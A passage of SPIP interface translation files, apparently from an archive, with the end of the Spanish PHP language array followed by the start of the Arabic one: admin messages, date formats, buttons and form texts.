'texte_jeu_caractere_conversion' => 'Nota: puede decidir convertir de una vez por todas el conjunto de textos de su sitio (artículos, breves, foros, etcétera) al alfabeto <tt>utf-8</tt>, visitando <a href="@url@">la página de conversión al l’utf-8</a>.',
'texte_lien_hypertexte' => '(Si su mensaje se refiere a un artículo publicado en la Web, o a una página que contiene más información, indique a continuación el título de la página y su dirección URL)',
'texte_login_ldap_1' => '(Dejar en blanco para un acceso anónimo, o indicar la ruta completa, por ejemplo "<tt>uid=perez, ou=users, dc=mi-dominio, dc=com</tt>".)',
'texte_login_precaution' => '¡Atención! Éste es el nombre de usuario con el que está conectado actualmente.
Utilice este formulario con precaución...',
'texte_message_edit' => 'Atención: este mensaje puede ser modificado por todos los administradores del sitio, y es visible por todos los redactores. Utilice los anuncios solamente para exponer acontecimientos importantes de la vida del sitio.',
'texte_messagerie_agenda' => 'Una mensajería permite a los redactores del sitio comunicarse entre ellos directamente en el espacio privado. Esta mensajería está asociada a una agenda.',
'texte_mise_a_niveau_base_1' => 'Acaba de actualizar los archivos de SPIP.
Ahora se debe actualizar la base de datos del sitio.',
'texte_modifier_article' => 'Modificar el artículo:',
'texte_moteur_recherche_active' => '<b>El motor de búsqueda está activado.</b> Utilice este comando si desea proceder a una reindexación rápida (después de la restauración de una copia de respaldo, por ejemplo). Note que los documentos modificados de modo normal (mediante la interfaz SPIP) se vuelven a indexar automáticamente: esta orden sólo es útil excepcionalmente.',
'texte_moteur_recherche_non_active' => 'El motor de búsqueda no está activado.',
'texte_multilinguisme' => 'Si desea manejar objetos en varios idiomas, con una navegación compleja, puede agregar un menú de selección de idioma para esos objetos, en función de la organización de su sitio.',
'texte_multilinguisme_trad' => 'También puede activar un sistema de gestión de enlaces entre las diferentes traducciones de ciertos objetos. ',
'texte_non_compresse' => '<i>no comprimido</i> (tu servidor no soporta esta funcionalidad)',
'texte_nouveau_message' => 'Nuevo mensaje',
'texte_nouvelle_version_spip_1' => 'Ha instalado una versión nueva de SPIP.',
'texte_nouvelle_version_spip_2' => 'Esta nueva versión necesita una actualización más completa que de costumbre. Si es webmaster del sitio, borre el archivo @connect@ y retome la instalación con el fin de actualizar los parámetros de conexión a la base de datos.<p> (NB: si ha olvidado los parámetros de conexión, eche un vistazo al archivo @connect@ antes de suprimirlo...)</p>',
'texte_operation_echec' => 'Regrese a la página anterior, seleccione otra base o cree una nueva. Verifique la información facilitada por su proveedor de hospedaje.',
'texte_plus_trois_car' => 'más de 3 caracteres',
'texte_plusieurs_articles' => 'Se ha encontrado varios autores para "@cherche_auteur@":',
'texte_port_annuaire' => '(En general, es adecuado el valor predeterminado)',
'texte_presente_plugin' => 'Esta página lista los plugins disponibles en el sitio. Puede activar los plugins necesarios seleccionando la casilla correspondiente. ',
'texte_proposer_publication' => 'Cuando su artículo esté terminado, <br /> puede proponer su publicación.',
'texte_proxy' => 'En algunos casos (intranet, redes protegidas...), los sitios distantes (documentación de SPIP, sitios sindicados, etc.) no son accesibles más que através de un <i>proxy HTTP</i>. En ese caso, indique a continuación su dirección, bajo la forma <tt><html>http://proxy:8080</html></tt>. En general, se dejará esta casilla vacía.',
'texte_publication_articles_post_dates' => '¿Qué comportamiento debe adoptar SPIP frente a los artículos cuya fecha de publicación ha sido fijada con un plazo futuro?',
'texte_rappel_selection_champs' => '[Seleccione correctamente este campo]',
'texte_recalcul_page' => 'Si desea recalcular una sola página utiliza el botón "Recalcular" en el espacio público.',
'texte_recapitiule_liste_documents' => 'Esta página recapitula la lista de documentos que ha insertado en las secciones. Para modificar la información de cada documento, utilice el enlace de su sección.',
'texte_recuperer_base' => 'Reparar la base de datos',
'texte_reference_mais_redirige' => 'Artículo referenciado en su sitio y redirigido hacia otra URL.',
'texte_requetes_echouent' => '<b>Cuando algunas peticiones SQL fallan sistemáticamente y sin razón aparente, es posible que sea debido a la base de datos en sí.</b><p>
Su servidor SQL es capaz de reparar sus tablas cuando fueron dañadas por accidente. Puede intentar aquí esta reparación: si falla, conservE una copia del resultado, que posiblemente contenga indicios de lo que no funciona...</p><p>
Si el problema persiste, contacte a su hospedaje.</p>',
'texte_selection_langue_principale' => 'A continuación puede seleccionar el «idioma principal» del sitio. Esta selección no obliga -¡afortunadamente!- a escribir los artículos en el idioma elegido, pero permite determinar:
<ul><li> el formato predeterminado de las fechas en el sitio público;</li>
<li> la naturaleza del motor tipográfico que SPIP debe utilizar para reproducir los textos;</li>
<li> el idioma utilizado en los formularios del sitio público;</li>
<li> el idioma predeterminado para el espacio privado.</li></ul>',
'texte_sous_titre' => 'Subtítulo',
'texte_statistiques_visites' => '(Barras oscuras: domingo / curva oscura: evolución del promedio)',
'texte_statut_attente_validation' => 'En espera de validación',
'texte_statut_publies' => 'Publicados',
'texte_statut_refuses' => 'Rechazados',
'texte_suppression_fichiers' => 'Utilice esta operación para suprimir todos los archivos presentes en la caché de SPIP. Esto permite, por ejemplo, forzar la actualización de todas las páginas si se hicieron importantes modificaciones gráficas o de estructura del sitio.',
'texte_sur_titre' => 'Antetítulo',
'texte_table_ok' => ': esta tabla está bien.',
'texte_tables_indexation_vides' => 'Las tablas del motor de indexación están vacías.',
'texte_tentative_recuperation' => 'Tentativa de reparación.',
'texte_tenter_reparation' => 'Intentar la reparación de la base de datos.',
'texte_test_proxy' => 'Para ensayar este "proxy" indique aquí la URL del sitio.',
'texte_titre_02' => 'Título',
'texte_titre_obligatoire' => '<b>Título</b> [Obligatorio]',
'texte_travail_article' => '@nom_auteur_modif@ ha trabajado sobre este artículo hace @date_diff@ minutos.',
'texte_travail_collaboratif' => 'Es frecuente que varios redactores y redactoras trabajen sobre el mismo artículo, el sistema puede mostrar los artículos recientemente «abiertos» para evitar las modificaciones simultáneas.
Esta opción está desactivada por omisión para evitar mostrar mensajes de advertencia intempestivos.',
'texte_trop_resultats_auteurs' => 'Demasiados resultados para la búsqueda de "@cherche_auteur@". Precise los criterios.',
'texte_unpack' => 'Descarga de la última versión',
'texte_utilisation_moteur_syndiques' => 'Cuando utilice el motor de búsqueda integrado
en SPIP, puedes efectuar las búsquedas sobre los sitios y
los artículos sindicados de dos maneras
diferentes. <br />- La más
simple consiste en buscar únicamente en los
títulos y las descripciones de los artículos. <br />- Un segundo método, mucho más potente, permite a SPIP buscar también en el texto de los sitios referenciados. Si referencia un sitio, SPIP efectuará entonces la búsqueda dentro del contenido de éste.',
'texte_utilisation_moteur_syndiques_2' => 'Este método obliga a SPIP a visitar regularmente los sitios referenciados, lo que provoca una ligera disminución de velocidad de su propio sitio.',
'texte_vide' => 'vacío',
'texte_vider_cache' => 'Vaciar la caché',
'titre_admin_effacer' => 'Mantenimiento técnico',
'titre_admin_tech' => 'Mantenimiento técnico',
'titre_admin_vider' => 'Mantenimiento técnico',
'titre_ajouter_un_auteur' => 'Añadir una autora',
'titre_ajouter_un_mot' => 'Añadir una palabra-clave',
'titre_ajouter_une_rubrique' => 'Añadir una sección',
'titre_cadre_afficher_article' => 'Mostrar los artículos',
'titre_cadre_afficher_traductions' => 'Mostrar el estado de las traducciones para los idiomas siguientes:',
'titre_cadre_ajouter_auteur' => 'Añadir un autor',
'titre_cadre_interieur_rubrique' => 'Al interior de la sección',
'titre_cadre_numero_auteur' => 'AUTOR NÚMERO',
'titre_cadre_numero_objet' => '@objet@ NÚMERO:',
'titre_cadre_signature_obligatoire' => '<b>Firma</b> [Obligatoria]<br />',
'titre_config_contenu_notifications' => 'Notificaciones',
'titre_config_contenu_prive' => 'En el espacio privado',
'titre_config_contenu_public' => 'En el sitio público',
'titre_config_fonctions' => 'Configuración del sitio',
'titre_config_langage' => 'Configuración del idioma',
'titre_configuration' => 'Configuración del sitio',
'titre_configurer_preferences' => 'Sus preferencias',
'titre_conflit_edition' => 'Conflicto durante la edición',
'titre_connexion_ldap' => 'Opciones: <b>Tu conexión LDAP</b>',
'titre_groupe_mots' => 'Grupo de palabras',
'titre_identite_site' => 'Identidad del sitio',
'titre_langue_article' => 'Idioma del artículo',
'titre_langue_rubrique' => 'Idioma de la sección',
'titre_langue_trad_article' => 'IDIOMA Y TRADUCCIONES DEL ARTÍCULO',
'titre_les_articles' => 'Los artículos',
'titre_messagerie_agenda' => 'Mensajería y agenda',
'titre_naviguer_dans_le_site' => 'Navegar por el sitio...',
'titre_nouvelle_rubrique' => 'Nueva sección',
'titre_numero_rubrique' => 'SECCIÓN NÚMERO:',
'titre_page_admin_effacer' => 'Mantenimiento técnico: borrar la base',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los artículos',
'titre_page_articles_tous' => 'Todo el sitio',
'titre_page_auteurs' => 'Visitantes',
'titre_page_calendrier' => 'Calendario @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuración del sitio',
'titre_page_config_fonctions' => 'Configuración del sitio',
'titre_page_configuration' => 'Configuración del sitio',
'titre_page_controle_petition' => 'Seguimiento de las peticiones',
'titre_page_delete_all' => 'Supresión total e irreversible',
'titre_page_documents_liste' => 'Los documentos de las secciones',
'titre_page_index' => 'Su espacio privado',
'titre_page_message_edit' => 'Redactar un mensaje',
'titre_page_messagerie' => 'Su mensajería',
'titre_page_recherche' => 'Resultados de la búsqueda @recherche@',
'titre_page_statistiques_referers' => 'Estadísticas (enlaces entrantes)',
'titre_page_statistiques_signatures_jour' => 'Número de firmas por día',
'titre_page_statistiques_signatures_mois' => 'Número de firmas por mes',
'titre_page_upgrade' => 'Actualización de SPIP',
'titre_publication_articles_post_dates' => 'Publicación de los artículos con fecha posterior',
'titre_referencer_site' => 'Agregar un sitio:',
'titre_rendez_vous' => 'CITAS:',
'titre_reparation' => 'Reparación',
'titre_suivi_petition' => 'Gestión de las peticiones',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'No hay ningún artículo con ese número.',
'trad_article_traduction' => 'Todas las versiones de este artículo:',
'trad_deja_traduit' => 'Error: imposible de vincular este artículo con el numero solicitado.',
'trad_delier' => 'Dejar de ligar a estas traducciones ',
'trad_lier' => 'Este artículo es una traducción del artículo número:',
'trad_new' => 'Escribir una nueva traducción',
// U
'upload_info_mode_document' => 'Dejar esta imagen en el portafolios',
'upload_info_mode_image' => 'Retirar esta imagen del portafolios',
'utf8_convert_attendez' => 'Espere unos instantes y vuelva a cargar esta página.',
'utf8_convert_avertissement' => 'Se prepara para convertir el contenido de su base de datos (artículos, breves, etc) del juego de caracteres <b>@orig@</b> hacia el juego de caracteres <b>@charset@</b>.',
'utf8_convert_backup' => 'No se olvides de hacer primero un respaldo completo de su sitio. También conviene verificar que sus esqueletos y archivos de idioma son compatibles @charset@.',
'utf8_convert_erreur_deja' => 'Su sitio ya está en @charset@, inútil convertirlo...',
'utf8_convert_erreur_orig' => 'Error: el juego de caracteres no está soportado.',
'utf8_convert_termine' => '¡Se ha acabado!',
'utf8_convert_timeout' => '<b>Importante:</b> en caso de <i>timeout</i> del servidor, vuelve a cargar la página hasta que indique «terminado».',
'utf8_convert_verifier' => 'Ahora debe ir a vaciar la cache y verificar que todo funciona bien en las páginas públicas del sitio. En caso de graves problemas, un respaldo de los datos se ha realizado (al formato SQL) en la carpeta @rep@.', # Respaldo de los datos quiere decir copia de seguridad, por si alguien no lo sabe. Se puede decir de las dos maneras.
'utf8_convertir_votre_site' => 'Convertir tu sitio en utf-8',
// V
'version' => 'Versión:'
);
?>
spip_ar.php 0000666 00000125617 15252547432 0006743 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'عربي [ar]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'جورج قندلفت (khodr1957@gmail.com) ',
// A
'access_interface_graphique' => 'عودة إلى الواجهة الرسومية الكاملة',
'access_mode_texte' => 'عرض الواجهة النصية المبسّطة',
'admin_debug' => 'اكتشاف الأخطاء',
'admin_modifier_article' => 'تعديل هذا المقال',
'admin_modifier_auteur' => 'تغيير هذا المؤلف',
'admin_modifier_breve' => 'تعديل هذا الخبر',
'admin_modifier_mot' => 'تغيير هذا المفتاح',
'admin_modifier_rubrique' => 'تعديل هذا القسم',
'admin_recalculer' => 'إعادة تحديث هذه الصفحة',
'afficher_calendrier' => 'عرض الروزنامة',
'afficher_trad' => 'عرض الترجمات',
'alerte_maj_impossible' => '<b>تحذير!</b> ترقية قاعدة SQL إلى الإصدار @version@ متعذر. قد يكون السبب مشكلة في حقل التعديل. الرجاء الاتصال بمضيف موقعك.',
'alerte_modif_info_concourante' => 'تحذير:هذه المعلومة عُدلت في مكان آخر. القيمة الحالية هي:',
'analyse_xml' => 'تحليل XML',
'annuler' => 'إلغاء',
'antispam_champ_vide' => 'الرجاء الإبقاء على هذا الحقل فارغاً:',
'articles_recents' => 'أحدث المقالات',
'avis_archive_incorrect' => 'ملف الأرشيف ليس ملف SPIP',
'avis_archive_invalide' => 'ملف الأرشيف غير صالح',
'avis_attention' => 'تحذير!',
'avis_champ_incorrect_type_objet' => 'إسم حقل @name@ غير صالح لنوع العنصر @type@',
'avis_colonne_inexistante' => 'العمود @col@ غير موجود',
'avis_erreur' => 'خطأ: انظر أدناه',
'avis_erreur_connexion' => 'خطأ اتصال',
'avis_erreur_cookie' => 'مشكلة في الكعكة',
'avis_erreur_fonction_contexte' => 'خطأ برمجة. لا يجب المناداة على هذه الوظيفة في هذا السياق.',
'avis_erreur_mysql' => 'خطأ SQL ',
'avis_erreur_sauvegarde' => 'خطأ في النسخة الاحتياطية (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'هناك مشكلة في الدخول إلى المجال الخاص',
// B
'barre_a_accent_grave' => 'إدراج حرف A كبير مع نبر الإطالة',
'barre_aide' => 'استخدم شريط اختصارات الكتابة لإثراء تصميم صفحتك',
'barre_e_accent_aigu' => 'إدراج حرف E كبير مع نبر حاد',
'barre_eo' => 'إدراج E داخل O',
'barre_eo_maj' => 'إدراج E كبير داخل O كبير',
'barre_euro' => 'إدراج رمز €',
'barre_gras' => '{{غامق{{',
'barre_guillemets' => 'إحاطة «بعلامتي اقتباس مزدوجة»',
'barre_guillemets_simples' => 'وضع بين "علامتي اقتباس مزدوجة من المستوى الثاني"',
'barre_intertitre' => 'تحويل إلى {{{عنوان فقرة}}}',
'barre_italic' => '{مائل{',
'barre_lien' => 'تحويل إلى [وصلة هايبرتكست->http://...]',
'barre_lien_input' => 'الرجاء إدخال عنوان الوصلة (يمكنك إدخال عنوان نسيج على شكل http://www.mysite.com أو إدخال رقم مقال من الموقع الحالي فقط).',
'barre_note' => 'تحويل إلى [[حاشية]]',
'barre_paragraphe' => 'إنشاء فقرة',
'barre_quote' => '<quote>اقتباس رسالة</quote>',
'bouton_changer' => 'تغيير',
'bouton_chercher' => 'بحث',
'bouton_choisir' => 'تحديد',
'bouton_deplacer' => 'نقل',
'bouton_download' => 'تحميل',
'bouton_enregistrer' => 'إدخال',
'bouton_radio_desactiver_messagerie_interne' => 'إيقاف المراسلة الداخلية',
'bouton_radio_envoi_annonces' => 'إرسال إعلانات التحرير',
'bouton_radio_non_envoi_annonces' => 'عدم إرسال الإعلانات',
'bouton_radio_non_envoi_liste_nouveautes' => 'عدم إرسال قائمة بآخر الأخبار',
'bouton_recharger_page' => 'إعادة تحميل الصفحة',
'bouton_telecharger' => 'تحميل',
'bouton_upload' => 'تنزيل',
'bouton_valider' => 'إدخال',
// C
'cal_apresmidi' => 'بعد الظهر',
'cal_jour_entier' => 'يوم كامل',
'cal_matin' => 'الصباح',
'cal_par_jour' => 'روزنامة يومية',
'cal_par_mois' => 'روزنامة شهرية',
'cal_par_semaine' => 'روزنامة أسبوعية',
'choix_couleur_interface' => 'اللون',
'choix_interface' => 'اختيار الواجهة',
'colonne' => 'عمود',
'confirm_changer_statut' => 'تحذير، لقد طلبت تغيير حالة هذا العنصر. هل تريد المتابعة؟',
'correcte' => 'صحيح',
// D
'date_aujourdhui' => 'اليوم',
'date_avant_jc' => 'قبل الميلاد',
'date_dans' => 'بعد @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'غداً',
'date_fmt_heures_minutes' => '@h@ و@m@ دقيقة',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ الساعة @heure@',
'date_fmt_jour_heure_debut_fin' => 'في @jour@ من @heure_debut@ الى @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'في @dtstart@@jour@ من @heure_debut@@dtabbr@ الى @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'في @nomjour@ @date@',
'date_fmt_periode' => 'من @date_debut@ الى @date_fin@',
'date_fmt_periode_abbr' => 'من @dtart@@date_debut@@dtabbr@ الى @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'من',
'date_fmt_periode_to' => 'الى',
'date_heures' => 'ساعة',
'date_hier' => 'البارحة',
'date_il_y_a' => 'منذ @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'الأحد',
'date_jour_1_abbr' => 'الأحد',
'date_jour_1_initiale' => 'أحد',
'date_jour_2' => 'الاثنين',
'date_jour_2_abbr' => 'اثنين',
'date_jour_2_initiale' => 'اثنين',
'date_jour_3' => 'الثلاثاء',
'date_jour_3_abbr' => 'ثلاثاء',
'date_jour_3_initiale' => 'ثلاثاء',
'date_jour_4' => 'الأربعاء',
'date_jour_4_abbr' => 'أربعاء',
'date_jour_4_initiale' => 'أربعاء',
'date_jour_5' => 'الخميس',
'date_jour_5_abbr' => 'خميس',
'date_jour_5_initiale' => 'خميس',
'date_jour_6' => 'الجمعة',
'date_jour_6_abbr' => 'جمعة',
'date_jour_6_initiale' => 'جمعة',
'date_jour_7' => 'السبت',
'date_jour_7_abbr' => 'سبت',
'date_jour_7_initiale' => 'سبت',
'date_jours' => 'يوم',
'date_minutes' => 'دقيقة',
'date_mois' => 'شهر',
'date_mois_1' => 'كانون الثاني (يناير)',
'date_mois_10' => 'تشرين الأول (أكتوبر)',
'date_mois_10_abbr' => 'ت١',
'date_mois_11' => 'تشرين الثاني (نوفمبر)',
'date_mois_11_abbr' => 'ت٢',
'date_mois_12' => 'كانون الأول (ديسمبر)',
'date_mois_12_abbr' => 'ك١',
'date_mois_1_abbr' => 'ك٢',
'date_mois_2' => 'شباط (فبراير)',
'date_mois_2_abbr' => 'شباط',
'date_mois_3' => 'آذار (مارس)',
'date_mois_3_abbr' => 'آذار',
'date_mois_4' => 'نيسان (أبريل)',
'date_mois_4_abbr' => 'نيسان',
'date_mois_5' => 'أيار (مايو)',
'date_mois_5_abbr' => 'أيار',
'date_mois_6' => 'حزيران (يونيو)',
'date_mois_6_abbr' => 'جزيران',
'date_mois_7' => 'تموز (يوليو)',
'date_mois_7_abbr' => 'تموز',
'date_mois_8' => 'آب (أغسطس)',
'date_mois_8_abbr' => 'آب',
'date_mois_9' => 'أيلول (سبتمبر)',
'date_mois_9_abbr' => 'أيلول',
'date_saison_1' => 'الشتاء',
'date_saison_2' => 'الربيع',
'date_saison_3' => 'الصيف',
'date_saison_4' => 'الخريف',
'date_secondes' => 'ثانية',
'date_semaines' => 'أسبوع',
'date_un_mois' => 'شهر',
'date_une_heure' => 'ساعة',
'date_une_minute' => 'دقيقة',
'date_une_seconde' => 'ثانية',
'date_une_semaine' => 'أسبوع',
'dirs_commencer' => 'للبدء فعلاً بعملية التثبيت',
'dirs_preliminaire' => 'تمهيد: <b>إعداد امتيازات الدخول</b>',
'dirs_probleme_droits' => 'مشكلة في امتيازات الدخول',
'dirs_repertoires_absents' => '<p><b>لم يتم العثور على الأدلة التالية: </b></p><ul>@bad_dirs@</ul>
<p>قد يكون السبب خطأ في اعتماد الحروف الكبيرة أو الصغيرة في أسمائها. الرجاء التأكد من أن الحروف الكبيرة والصغيرة في أسماء هذه الأدلة تناسب ما هو معروض أعلاه؛ إذا لم يكن الأمر كذلك، الرجاء إعادة تسمية الأدلة بواسطة برنامج FTP لتصحيح الخطأ.
<p>بعد تنفيذ هذه العملية يمكنك </p>',
'dirs_repertoires_suivants' => '<p><b>الأدلة التالية ممنوعة على الكتابة: </b></p
<ul>@bad_dirs@</ul>
<p>لحل هذه المشكلة، استخدم برنامج FTP لإعداد امتيازات الدخول لكل من هذه الأدلة. ويوضح دليل الاستخدام هذه العملية بالتفصيل.
<p>بعد إتمام هذه العملية يمكنك</p>',
'double_occurrence' => 'ظهور مكرر لعلامة @balise@',
// E
'en_cours' => 'جاري',
'envoi_via_le_site' => 'إرسال عبر الموقع',
'erreur' => 'خطأ',
'erreur_balise_non_fermee' => 'آخر علامة غير مغلقة:',
'erreur_technique_ajaxform' => 'عفواً. حدث خطأ غير متوقع خلال إرسال الاستمارة. الرجاء المحاولة من جديد.',
'erreur_technique_enregistrement_champs' => 'خطأ تقني منع التسجيل السليم للحقل @champs@. ',
'erreur_technique_enregistrement_impossible' => 'خطأ تقني منع التسجيل.',
'erreur_texte' => 'خطأ (أخطاء)',
'etape' => 'خطوة',
// F
'fichier_introuvable' => 'لا يمكن العثور على الملف @fichier@',
'form_auteur_confirmation' => 'تأكيد عنوان البريد الالكتروني',
'form_auteur_email_modifie' => 'تغير عنوان بريدك.',
'form_auteur_envoi_mail_confirmation' => 'لفد تم ارسال بريد تأكيد الى @email@. عليك زيارة عنوان الموقع الموجود في الرسالة للتصديق على عنوان بريدك.',
'form_auteur_mail_confirmation' => 'أهلاً وسهلاً
لقد طلبت تغيير عنوان بريدك.
للتصديق على العنوان الجديد، يكفي الاتصال
بالعنوان أدناه (والا سيتم تجاهل
طلبك):
@url@
',
'form_deja_inscrit' => 'سبق لك التسجيل.',
'form_email_non_valide' => 'عنوانك البريدي غير صالح.',
'form_forum_access_refuse' => 'لم تعد تملك امتياز الدحول إلى هذا الموقع.',
'form_forum_bonjour' => 'مرحباً @nom@،',
'form_forum_confirmer_email' => 'لتأكيد عنوان بريدك، إذهب الى:@url_confirm@',
'form_forum_email_deja_enregistre' => 'سبق تسجيل هذا العنوان البريدي، يمكنك إذاً استخدام كلمة سرك الاعتيادية.',
'form_forum_identifiant_mail' => 'لقد تم إرسال معرّفك الجديد بالبريد الالكتروني.',
'form_forum_identifiants' => 'بيانات الاتصال الشخصية',
'form_forum_indiquer_nom_email' => 'قم بإدخال اسمك وعنوانك البريدي هنا. ستحصل على بيانات اتصالك قريباً في البريد الإلكتروني.',
'form_forum_login' => 'المعرّف:',
'form_forum_message_auto' => '(هذه رسالة آلية)',
'form_forum_pass' => 'كلمة السر:',
'form_forum_probleme_mail' => 'مشكلة بريد إلكتروني: لا يمكن إرسال بيانات الدخول.',
'form_forum_voici1' => 'هذه هي بياناتك للاشتراك في نشاط
الموقع "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'هذه هي بياناتك لاقتراح مقالات
للموقع "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'الرجاء إدخال عنوانك الإلكتروني.',
'form_indiquer_nom' => 'الرجاء إدخال اسمك.',
'form_indiquer_nom_site' => 'الرجاء إدخال إسم موقعك.',
'form_pet_deja_enregistre' => 'سبق تسجيل هذا الموقع',
'form_pet_signature_pasprise' => 'تم تجاهل توقيعك.',
'form_prop_confirmer_envoi' => 'تأكيد الإرسال',
'form_prop_description' => 'وصف/تعليق',
'form_prop_enregistre' => 'تم تسجيل اقتراحك، سوف يظهر بعد تصديقه من قبل مسئولي هذا الموقع.',
'form_prop_envoyer' => 'ابعث برسالة',
'form_prop_indiquer_email' => 'الرجاء إدخال عنوان بريد إلكتروني صالح',
'form_prop_indiquer_nom_site' => 'الرجاء إدخال اسم الموقع.',
'form_prop_indiquer_sujet' => 'الرجاء إدخال موضوع',
'form_prop_message_envoye' => 'تم بعث الرسالة',
'form_prop_non_enregistre' => 'لم يتم تسجيل اقتراحك.',
'form_prop_sujet' => 'الموضوع',
'form_prop_url_site' => 'عنوان الموقع',
'forum_non_inscrit' => 'إما انك غير مسجل أو هناك خطأ في العنوان أو كلمة السر.',
'forum_par_auteur' => 'من @auteur@',
'forum_titre_erreur' => 'خطأ...',
// I
'ical_texte_rss_articles' => 'يوجد ملف «الترخيص الخلفي» لمقالات هذا الموقع على العنوان: ',
'ical_texte_rss_articles2' => 'يمكنك أيضاً الحصول على ملفات «الترخيص الخلفي» لمقالات كل قسم في الموقع:',
'ical_texte_rss_breves' => 'يوجد كذلك ملف يحتوي على أخبار الموقع. وبإدخال رقم قسم ما، تحصل على أخبار هذا القسم فقط.',
'icone_a_suivre' => 'للمتابعة',
'icone_admin_site' => 'إدارة الموقع',
'icone_agenda' => 'المفكرة',
'icone_aide_ligne' => 'التعليمات الفورية',
'icone_articles' => 'المقالات',
'icone_auteurs' => 'المؤلفون',
'icone_brouteur' => 'تصفح سريع',
'icone_configuration_site' => 'إعداد',
'icone_configurer_site' => 'إعداد موقعك',
'icone_creer_nouvel_auteur' => 'إضافة مؤلف جديد',
'icone_creer_rubrique' => 'إنشاء قسم',
'icone_creer_sous_rubrique' => 'إنشاء قسم فرعي',
'icone_deconnecter' => 'خروج',
'icone_discussions' => 'نقاشات',
'icone_doc_rubrique' => 'مستندات الأقسام',
'icone_ecrire_article' => 'كتابة مقال جديد',
'icone_edition_site' => 'تحرير الموقع',
'icone_gestion_langues' => 'إدارة اللغات',
'icone_informations_personnelles' => 'المعلومات الشخصية',
'icone_interface_complet' => 'واجهة كاملة',
'icone_interface_simple' => 'واجهة مبسّطة',
'icone_maintenance_site' => 'صيانة الموقع',
'icone_messagerie_personnelle' => 'المراسلة الشخصية',
'icone_repartition_debut' => 'إظهار التوزيع منذ البداية',
'icone_rubriques' => 'الأقسام',
'icone_sauver_site' => 'نسخة احتياطية للموقع',
'icone_site_entier' => 'الموقع بالكامل',
'icone_sites_references' => 'المواقع المبوبة',
'icone_statistiques' => 'إحصاءات الموقع',
'icone_suivi_activite' => 'متابعة نشاط الموقع',
'icone_suivi_actualite' => 'تطور الموقع',
'icone_suivi_pettions' => 'متابعة/إدارة العرائض',
'icone_suivi_revisions' => 'تعديل المقالات',
'icone_supprimer_document' => 'حذف هذا المستند',
'icone_supprimer_image' => 'حذف هذه الصورة',
'icone_tous_articles' => 'كل مقالاتك',
'icone_tous_auteur' => 'جميع المؤلفين',
'icone_tous_visiteur' => 'جميع الزوار',
'icone_visiter_site' => 'تصفح الموقع العمومي',
'icone_voir_en_ligne' => 'عرض مباشر',
'img_indisponible' => 'صورة غير متوفرة',
'impossible' => 'مستحيل',
'info_a_suivre' => 'للمتابعة»',
'info_acces_interdit' => 'الدخول محظور',
'info_acces_refuse' => 'دخول محظور',
'info_action' => 'عملية: @action@',
'info_administrer_rubriques' => 'يمكنك إدارة هذا القسم وأقسامه الفرعية',
'info_adresse_non_indiquee' => 'لم تدخل أي عنوان لاختباره!',
'info_aide' => 'تعليمات :',
'info_ajouter_mot' => 'إضافة هذا المفتاح',
'info_annonce' => 'إعلان',
'info_annonces_generales' => 'إعلانات عامة:',
'info_article_propose' => 'مقال مقترح',
'info_article_publie' => 'مقال منشور',
'info_article_redaction' => 'مقال قيد التحرير',
'info_article_refuse' => 'مقال مرفوض',
'info_article_supprime' => 'مقال محذوف',
'info_articles' => 'المقالات',
'info_articles_a_valider' => 'مقالات معروضة للتصديق',
'info_articles_nb' => '@nb@ مقال',
'info_articles_proposes' => 'المقالات المعروضة',
'info_articles_un' => 'مقال واحد',
'info_auteurs_nombre' => 'مؤلف (مؤلفون):',
'info_authentification_ftp' => 'التحقق ( عبر بروتوكول FTP ).',
'info_breves_2' => 'خبر',
'info_breves_nb' => '@nb@ خبر',
'info_breves_un' => 'خبر واحد',
'info_connexion_refusee' => 'رفض الاتصال',
'info_contact_developpeur' => 'الرجاء الاتصال بمطوّر.',
'info_contenance' => 'هذا الموقع يحتوي على:',
'info_contribution' => 'مشاركة منتديات',
'info_copyright' => '@spip@ برنامج حر موزع @lien_gpl@.',
